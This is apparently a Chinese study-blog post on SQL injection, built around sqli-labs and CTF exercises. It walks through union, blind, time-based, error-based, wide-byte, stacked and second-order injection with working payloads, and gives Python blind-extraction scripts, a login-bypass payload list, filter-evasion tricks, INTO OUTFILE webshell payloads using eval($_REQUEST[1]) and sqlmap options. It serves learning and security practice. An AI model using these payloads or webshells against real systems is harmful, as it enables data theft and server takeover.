SQL注入

前言

​ 进工作室面试的时候sql有关的问题一个都没答全,痛定思痛,这里系统的学一遍sql注入。

一、什么是sql注入

​ 通过恶意构造sql语句来获取数据库中的内容。

二、sql注入的类别

这里以sqli-labs为例

联合注入

用union进行联合查询,适合于有显示位的注入。

首先用1’闭合判断数字型还是字符型

然后用order by查看列数

1
2
3
4
5
6
7
//字符型
?id=1' order by 3--+
?id=1' order by 4--+ #报错

//数字型
?id=1 order by 3
?id=1 order by 4 #报错

然后查看数据库(版本version())

1
2
3
4
5
6
7
-1 union select 1,2,database()   

(-1使正常查询出错,显示出union查询的值)

-1'union select 1,2,database()--+

#security

查看表名

1
2
3
4
5
6
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'


-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

#emails,referers,uagents,users

查看列名

1
2
3
4
5
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

#Host,User......

查看数据

1
2
3
-1 union select 1,2,group_concat(username ,id , password) from users

-1' union select 1,2,group_concat(username ,id , password) from users--+

布尔盲注

回显被削了,但是依旧有报错

最讨厌布尔盲注,不会写脚本,就显得很菜

爆数据库

1
2
3
4
5
6
7
8
?id=1'and length((select database()))>9--+  无回显说明报错
?id=1'and length((select database()))<7--+  无回显

结合一下说明database为8字母

?id=1'and ascii(substr((select database()),1,1))=115--+
(截取database()的第一个字符开始,长度为一的字符串,并用ascii码表示。然后通过>,<,=和是否有回显 判断database确切的值)
(是需要写脚本爆破的)

接下来思路都是一样的

爆表

1
2
3
4
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名

爆列

1
2
3
4
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。

爆内容

1
2
3
4
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。

脚本(某道题目的payload,拿来抄一下,要用的话改一下payload和判断条件。还有url)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

base_url = "http://192.168.183.1:63261"

result = ""
i = 0

while True:
    i += 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) // 2  # 使用整数除法

        # 根据需要切换payload
        #payload = "sElect%09group_concat(table_name)%09FRom%09infOrmation_schema.tables%09Where%09table_schema%09like%09database()"#courses,secrets,students
        #payload = "sElect%09group_concat(column_name)%09FRom%09infOrmation_schema.columns%09Where%09table_name%09like%09'secrets'"#id,secret_key,secret_value
        payload = "sElect%09group_concat(id,secret_key,secret_value)%09from%09`secrets`"       #这里here_is_flag要用反引号才行,单引号不行,反引号用于标识数据库、表、列等对象的名称。

        # 构造正确的URL字符串(注意去掉了末尾逗号)
        current_url = f"{base_url}?student_name=Alice'%09and%09Ord(mid(({payload}),{i},1))>{mid}%23"

        r = requests.get(url=current_url)
        if 'Alice' in r.text:
                head = mid + 1
        else:
                tail = mid


    if head != 32:
        result += chr(head)
        print(f"[+] 当前结果: {result}")
    else:
        print(f"[+] 当前结果: {result}")

延时注入

比布尔盲注更讨厌

无论输入啥,都显示You are in。。。

只能用sleep判断你的payload是否真的打进去了

1
2
?id=1' and if(1=1,sleep(5),1)--+
判断注入点(确定延时注入是可以打进去的)

爆数据库

1
2
3
4
5
?id=1' and if(length((select database()))>9,sleep(5),1)--+
和布尔盲注一样,需要知道database的长度

?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
爆每个字符

爆表

1
2
3
4
5

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

爆列

1
2
3
4
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

爆内容

1
2
3
4
5
6

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
 
 
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

脚本(修改payload和url)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import requests
import time
import sys#头文件
from urllib.parse import quote

url="http://192.168.183.1:55251//?student_name="

res="" #结果
for i in range(1,1000): #循环
        left=32
        right=128
        mid=(left + right) //2  #二分中值
        while (left < right):
                #payload = url+quote("1'||if(ord(mid(database(),%d,1))<%                 

报错注入

报错注入常用函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
floor()

extractvalue()

updatexml()

geometrycollection()

multipoint()

polygon()

multipolygon()

linestring()

updatexml()

MySQL提供了一个updatexml()函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。

我们尝试在查询用户id的同时,使用报错函数,在地址栏输入:

1
?id=1' and updatexml(1, 0x7e, 3) -- a

参数2内容中的查询结果显示在数据库的报错信息中,并回显到页面。

image-20251005132322838

使用前需要判断报错和报错条件

1
2
3
4
5
6
7
8
//获取所有数据库
?id=1' and updatexml(1,concat('~',substr((selectgroup_concat(schema_name)from information_schema.schemata),1,31)),3) --qwq 

//获取所有表
?id=1' and updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema ='security'),1,31)),3) -- qwq

//获取所有字段
?id=1' and updatexml(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users'),1,31)),3) -- qwq

宽字节注入

宽字节注入是由于不同编码中中英文所占字符的的不同所导致的,通常的来说,在GBK编码当中,一个汉字占用2个字节。除了UTF-8以外,所有的ANSI编码中文都是占用俩个字符。

我们先说一下php中对于sql注入的过滤

addslashes()函数,这个函数在预定义字符之前添加反斜杠 \ 。 这个函数有一个特点虽然会添加反斜杠 \ 进行转义,但是 \ 并不会插入到数据库中。。这个函数的功能和魔术引号完全相同,所以当打开了魔术引号时,不应使用这个函数。可以使用get_magic_quotes_gpc()来检测是否已经转义。

mysql_real_escape_string()函数,这个函数用来转义sql语句中的特殊符号x00\n\r\'"x1a

注:

  1. 预定义字符:单引 ‘,双引 “,反斜 \,NULL
  2. 魔术引号:当打开时,所有单引号 ‘、双引号 " 、反斜杠 \ 和NULL字符都会被自动加上一个反斜线来进行转义,和addslashes()函数的作用完全相同。所以,如果魔术引号打开,就不要使用addslashes()函数。一共有三个魔术引号指令:
    1. magic_quotes_gpc
    2. magic_quotes_runtime
    3. magic_quotes_sybase

看不懂,但是宽字节注入貌似是用来绕过预定义函数的

我们来看less32

1
?id=1' union select 1,version(),database() -- qwq

image-20251005133402626

发现注入时将\进行了转义,这时候就要把\去掉

宽字节注入,这里利用的是MySQL的一个特性。MySQL在使用GBK编码的时候,会认为2个字符是1个汉字,前提是前一个字符的ASCII值大于128,才会认为是汉字。所以只要我们输入的数据大于等于 %81就可以使 ’ 逃脱出来了。

1
?id=-1�' union select 1,2,3 -- qwq

image-20251005133712904

堆叠注入

在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在 一条语句结束后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(union注入)也是将两条语句合并在一起,两者之间有什么区别呢?区别就在于union 或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:root’;DROP database user;服务器端生成的sql语句为:select * from user where name='root';DROP database user;当执行查询后,第一条显示查询信息,第二条则将整个user数据库删除。

二次注入

二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。

在第一次进行数据插入数据库得时候,仅仅知识使用了addslashes()或者是借助get_magic_quotes_gpc()对其中得字符进行了转义,在后端代码中可能会被转义,但在存入数据库时候还是原来得数据,数据中一般带有单引号和#号,然后下次使用在拼凑SQL中,所以就行了二次注入。

过程

  1. 插入1‘#
  2. 转义成1\’#
  3. 不能注入,但是保存在数据库时变成了原来的1’#
  4. 利用1’#进行注入,这里利用时要求取出数据时不转义

条件

  1. 用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
  2. 数据库对自己存储得数据非常放心,直接读取出恶意数据给用户

User-Agent 注入

查询发现是127.0.0.1

image-20251005183948197

然后抓包在UA头里加入 ' and 1=2监测是否存在,有报错的话就是有

' and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1 #

用于显示出数据库,没啥用

sql万能钥匙

429e120f5162b5a822cd10cba585135c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
admin' or 1=1#
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

三、sql绕过

关键字绕过

1.用/../,<>分割关键字

1
select -> sec/**/ect || sec<>ect

2.根据过滤代码,可以考虑用双写绕过

1
selselectect

3.大小写

4.url、16进制、ascii码绕过

逗号绕过

1.可以用join绕过

1
2
3
union select 1,2,3

union select * from (select 1)a join (select 2)b join (select 3)

2.对于盲注的一些函数substr(),mid(),limit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
substr和mid()可以使用from for的方法解决

substr(str from pos for len) //在str中从第pos位截取len长的字符

mid(str from pos for len)//在str中从第pos位截取len长的字符

limit可以用offset的方法绕过

limit 1 offset 1

使用substring函数也可以绕过
substring(str from pos) //返回字符串str的第pos个字符,索引从1开始

绕过空格

1
2
3
4
(1)双空格
(2)/**/
(3)用括号绕过
(4)用回车代替 //ascii码为chr(13)&chr(10),url编码为%0d%0a

过滤等于号

用like代替

过滤大小等于号

1
2
3
4
5
6
	(1)greatest(n1,n2,n3,...)		//返回其中的最大值
	(2)strcmp(str1,str2)		//当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
	(3)in 操作符
	(4)between   and		//选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。

以上是小白总结出来的几种过滤,肯定还有别的过滤,等以后遇到再更新吧!

四、sql写马

1
2
基于联合注入的木马
UNION ALL SELECT 1,'<?php phpinfo();?>',3 into outfile '/var/www/html/2.php'%23
1
2
3
4
不基于联合注入的木马
into outfile '/var/www/html/2.php' FIELDS TERMINATED BY '<?=eval($_REQUEST[1]);?>'(有时候这个写入的木马没有作用,肯定和FIELDS TERMINATED BY有关

into outfile '/var/www/html/2.php' lines terminated by '<?=eval($_REQUEST[1]);?>'

解释一下lines terminated by,这也解释了这个写马为什么会显示一些东西,详情请看ctfshow代码审计篇web301

image-20251123173112227

关于为什么FIELDS TERMINATED BY有时候会失效(ai太好用了你们知道吗)

image-20251123173344357

五、sqlmap使用方式

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
常用sqlmap参数详解

-u  url
-p  攻击参数
-r  post提交时选用 -r bp.txt

--dbs  指定爆数据库
-D 指定数据库  -D mysql

--table  指定爆表(需要指定数据库)
-T  指定表  -T user

--columns  指定爆列(需要指定表和数据库)
-C  指定列   -C secret

--dump   指定爆数据(需要指定表、列、数据库)

--tamper  '绕过脚本.py'  指定爆破脚本

--technique   指定sql注入的方式   =B(布尔盲注) =U(联合注入) =E(报错注入) =S(堆叠注入)=T(时间盲注) =Q(内联查询注入)

–random-agent为了随机UA头,避免被WAF认为是爬虫

–fresh-queries:禁用 SQLMap 的缓存机制,每次请求都重新生成新的查询,避免因缓存导致结果不准确。

–no-cast:禁用 SQLMap 对返回数据的类型转换,直接返回原始数据。适用于某些特殊场景(如数据库对类型处理不一致)。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计